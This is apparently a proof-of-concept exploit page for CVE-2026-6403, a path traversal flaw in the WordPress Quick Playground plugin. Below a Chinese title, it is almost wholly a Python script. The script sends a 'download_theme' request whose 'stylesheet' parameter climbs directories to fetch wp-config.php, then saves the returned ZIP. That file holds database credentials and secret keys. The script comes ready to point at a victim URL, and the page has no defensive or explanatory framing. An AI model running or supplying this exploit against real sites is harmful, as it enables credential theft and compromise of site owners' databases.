CVE-2026-6403 WordPress Quick Playground路径遍历漏洞

import requests # Target URL (Replace with actual victim URL) target_url = "http://example.com/wp-content/plugins/quick-playground/api.php" # The vulnerable parameter 'stylesheet' used to traverse directories # Attempting to fetch wp-config.php located in the WordPress root directory # The traversal depth depends on the plugin location relative to the root payload = { "action": "download_theme", "stylesheet": "../../../../../../wp-config.php" } try: response = requests.post(target_url, data=payload) # Check if the response contains ZIP file magic bytes if response.status_code == 200 and b'PK' in response.content[:4]: print("[+] Exploit successful! ZIP file received.") # Save the received content to a file with open("exploit_result.zip", "wb") as f: f.write(response.content) print("[+] File saved as exploit_result.zip") else: print("[-] Exploit failed or target not vulnerable.") print("Response:", response.text[:200]) except Exception as e: print(f"Error: {e}")